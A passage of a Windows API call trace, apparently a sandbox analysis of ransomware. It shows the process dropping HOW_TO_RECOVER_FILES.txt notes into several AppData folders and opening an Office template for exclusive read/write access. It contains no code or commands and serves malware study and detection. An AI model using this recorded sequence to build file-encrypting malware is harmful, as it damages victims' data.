dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.949] GetFileType (hFile=0x85c) returned 0x1 [0243.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0243.950] GetFileType (hFile=0x85c) returned 0x1 [0243.950] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x2f [0243.950] ReadFile (in: hFile=0x85c, lpBuffer=0x38cb760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x38cb760*, lpNumberOfBytesRead=0x204eb8c8*=0x2f, lpOverlapped=0x0) returned 1 [0243.950] CloseHandle (hObject=0x85c) returned 1 [0244.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0244.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0244.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0244.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e81e0) returned 1 [0244.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0244.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0244.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.005] GetFileType (hFile=0x85c) returned 0x1 [0244.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0244.005] GetFileType (hFile=0x85c) returned 0x1 [0244.006] WriteFile (in: hFile=0x85c, lpBuffer=0x3945cb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3945cb0*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.006] CloseHandle (hObject=0x85c) returned 1 [0244.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0244.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0244.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.421] GetFileType (hFile=0x85c) returned 0x1 [0244.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0244.421] GetFileType (hFile=0x85c) returned 0x1 [0244.646] WriteFile (in: hFile=0x85c, lpBuffer=0x3a82d58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a82d58*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.647] CloseHandle (hObject=0x85c) returned 1 [0244.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0244.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0244.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.648] GetFileType (hFile=0x85c) returned 0x1 [0244.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0244.648] GetFileType (hFile=0x85c) returned 0x1 [0244.649] WriteFile (in: hFile=0x85c, lpBuffer=0x3a866f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3a866f8*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0244.649] CloseHandle (hObject=0x85c) returned 1 [0244.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0244.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x42 [0244.650] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0244.650] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.651] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.651] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.651] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0244.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0244.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0244.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0244.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x42 [0244.651] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0244.651] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.651] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.652] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.652] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0244.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0244.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0244.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0244.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x47 [0244.652] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0244.652] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.653] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0244.653] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0244.653] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0244.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0244.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0244.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0244.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x47 [0244.653] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0244.653] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.653] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0244.654] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.654] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0244.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0244.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0244.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0244.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpFilePart=0x0) returned 0x4a [0244.654] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0244.656] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.656] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0244.656] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.656] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0244.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0244.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0244.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0244.656] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpFilePart=0x0) returned 0x4a [0244.657] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0244.657] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.657] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0244.657] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0244.657] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0244.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0244.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0244.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0244.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3ab22a0 | out: lpFileInformation=0x3ab22a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7)) returned 1 [0244.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0244.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0244.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.658] GetFileType (hFile=0x85c) returned 0x1 [0244.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0244.658] GetFileType (hFile=0x85c) returned 0x1 [0244.659] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0244.659] ReadFile (in: 